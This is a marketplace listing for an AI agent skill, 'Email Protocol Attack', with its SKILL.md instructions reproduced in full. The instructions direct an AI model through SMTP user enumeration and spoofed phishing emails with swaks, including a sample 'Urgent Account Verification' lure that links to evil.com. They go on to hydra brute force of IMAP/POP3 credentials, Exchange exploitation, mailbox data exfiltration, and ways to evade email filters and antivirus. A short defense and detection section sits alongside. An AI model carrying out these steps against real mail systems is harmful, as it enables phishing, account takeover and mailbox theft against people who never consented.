Email Protocol Attack logo

Email Protocol Attack

Community
brucesongs
email-protocol-attack

Email protocol attacks targeting mail infrastructure at the protocol level.

Overview

Publisherbrucesongs
Repositorykali-claw
Skill nameemail-protocol-attack
Stars
70
Forks
18
Bundled files
10
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 10 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by brucesongs on GitHub. Read the source before you install it.

Installation

Install the Email Protocol Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/email-protocol-attack .claude/skills/email-protocol-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Email Protocol Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Email Protocol Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Email Protocol Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Skill: Email Protocol Attack

Supplementary Files:

  • payloads.md — Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)
  • test-cases.md — Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)
  • guides/smtp-enumeration-relay-guide.md — SMTP reconnaissance and relay testing complete guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/POP3 and Exchange server attack guide

Summary

Email Protocol Attack skill domain covering network attack operations.

Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl

Domain: network-attack

MITRE ATT&CK: T1114-Email Collection

Description

Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.

Use Cases

  1. Mail server reconnaissance — Enumerate valid email accounts via SMTP VRFY/EXPN/RCPT TO commands, fingerprint mail server software and version
  2. Open relay detection — Test whether a mail server accepts unauthorized relay, enabling spam propagation or phishing delivery
  3. Email forgery and phishing — Craft spoofed emails at the protocol level, test SPF/DKIM/DMARC bypass techniques for social engineering campaigns
  4. Mailbox credential attacks — Brute force or password spray IMAP/POP3/Exchange credentials to access victim mailboxes
  5. Exchange server exploitation — Leverage Autodiscover, OWA, ActiveSync, and Exchange-specific vulnerabilities for credential harvesting and remote code execution
  6. TLS/STARTTLS testing — Assess mail server TLS configuration, test for downgrade attacks and certificate validation weaknesses
  7. Email header manipulation — Modify email headers for sender spoofing, routing manipulation, and anti-spam bypass

Core Tools

ToolPurposeCommand Example
smtp-user-enumSMTP user enumeration via VRFY/EXPN/RCPTsmtp-user-enum -M VRFY -U users.txt -t 10.0.0.1
swaksSwiss Army Knife for SMTP testing, email forgeryswaks --to victim@target.com --from spoofed@evil.com
sendemailCommand-line email sending with TLS supportsendemail -f attacker@evil.com -t victim@target.com -u "Subject" -m "Body"
nailgunHigh-performance SMTP stress testing and relay checkingnailgun -h mail.target.com -p 25
smtpmapSMTP server fingerprinting and software detectionsmtpmap mail.target.com
muttTerminal-based email client for IMAP/POP3 interactionmutt -f imaps://user:pass@mail.target.com/INBOX
opensslTLS/STARTTLS testing for SMTP and IMAP connectionsopenssl s_client -starttls smtp -connect mail.target.com:25

Methodology

Attack Chain

Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration

1. Reconnaissance (Information Gathering)

  • Identify mail server via DNS MX records: dig MX target.com
  • Banner grabbing: nc mail.target.com 25
  • Software fingerprinting with smtpmap
  • TLS configuration assessment

2. Enumeration (User Discovery)

  • SMTP VRFY command: verify individual accounts
  • SMTP EXPN command: expand mailing lists
  • RCPT TO enumeration: test recipient validity
  • Automated enumeration with smtp-user-enum

3. Authentication Testing (Relay and Credential)

  • Open relay testing: attempt to send through target server without authentication
  • Credential brute force against IMAP/POP3
  • Exchange Autodiscover and OWA probing
  • Password spraying with common passwords

4. Forgery and Phishing (Email Protocol Attacks)

  • SPF bypass: IP-based, header manipulation, include chain exploitation
  • DKIM signature testing: selector enumeration, key length analysis
  • DMARC policy testing: p=none exploitation, subdomain bypass
  • Email header manipulation for sender spoofing

5. Mailbox Access (Post-Exploitation)

  • IMAP/POP3 credential reuse from breached databases
  • Exchange ActiveSync and EWS exploitation
  • Email forwarding rule manipulation
  • Email collection and data exfiltration

Defense Perspective

Defense MeasureDescriptionPriority
SPF/DKIM/DMARC DeploymentPublish strict SPF records, sign with DKIM, enforce DMARC p=rejectCRITICAL
Disable VRFY/EXPNTurn off SMTP verification commands to prevent user enumerationHIGH
TLS EnforcementRequire TLS for all mail submission (port 587) and server-to-server transportHIGH
Authentication PoliciesRequire strong authentication, implement account lockout and rate limitingHIGH
Open Relay PreventionConfigure mail server to reject unauthenticated relay strictlyCRITICAL
Email FilteringDeploy content filters, attachment scanning, and URL rewritingMEDIUM
Monitoring and LoggingLog all SMTP sessions, alert on enumeration attempts and relay abuseMEDIUM

Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.

Step 1: Mail Server Reconnaissance

bash
# Query MX records
dig MX target.com +short

# Banner grabbing
nc mail.target.com 25

# Fingerprint mail server
smtpmap mail.target.com

# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com

Step 2: User Enumeration

bash
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com

# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com

# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com

Step 3: Email Forgery Testing

bash
# Basic spoofed email
swaks --to ceo@target.com --from support@bank.com --server mail.target.com \
  --header "Subject: Urgent Account Verification" \
  --body "Please verify your account at http://evil.com/phish"

# Test SPF handling
swaks --to test@target.com --from spoofed@external.com --server mail.target.com

# Test with custom headers
swaks --to victim@target.com --from admin@target.com \
  --add-header "X-Priority: 1" \
  --add-header "Reply-To: attacker@evil.com"

Step 4: TLS Configuration Assessment

bash
# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts

# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts

# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts

# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject

Step 5: IMAP/POP3 Credential Testing

bash
# IMAP login test with mutt
mutt -f imaps://testuser:password@mail.target.com/INBOX

# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap

# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3

Detection Methods

Email Gateway Indicators

  • SPF/DKIM/DMARC failures: Authentication failure rate >5% of inbound (potential spoofing campaign).
  • Homoglyph domains: Cyrillic аpple.com vs Latin apple.com; Unicode normalization detection.
  • Reply-To mismatch: From: ceo@company.com but Reply-To: ceo@external.com.

SIEM Detection Rules

  • Splunk SPL: index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domain
  • Microsoft 365 ATP: Native anti-phishing policies.
  • Proofpoint / Mimecast: Email security gateway with BEC detection.

Defense Evasion Techniques

Authentication Bypass

  • Compromise legitimate relay: Use Mailchimp, SendGrid, M365 tenant for reputation.
  • Display name abuse: From: "CEO Name" attacker@external.com - mobile hides email.
  • Unicode homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061).

Content Stealth

  • Steganography in attachments: Hide payload in image LSB.
  • Password-protected archive: Password in email body; evades AV signature scanning.
  • Multipart MIME abuse: Hide payload in MIME structure; some scanners inspect only first part.

Hacker Laws

  1. Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.

  2. First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.

  3. Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.

  4. Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.

Learning Resources

Skill supplementary files:

  • payloads.md — Complete payload collection (9 attack categories, ready to copy and use)
  • test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)
  • guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guide

Related Skills:

  • skills/network-pentest/SKILL.md — Network penetration testing foundation
  • skills/social-engineering/SKILL.md — Social engineering and phishing campaigns
  • skills/password-attack/SKILL.md — Password attack techniques for credential testing
  • skills/recon-osint/SKILL.md — Open source intelligence for email harvesting

External Resources:

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Email Protocol Attack AI skill do?

Email protocol attacks targeting mail infrastructure at the protocol level.

Why use Email Protocol Attack on TypingMind?

Because you install it once and use it with any model. Email Protocol Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Email Protocol Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Email Protocol Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Email Protocol Attack?

As many as you like. As long as a model supports skills, you can use Email Protocol Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Email Protocol Attack AI skill free?

Yes. It is published on GitHub by brucesongs under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇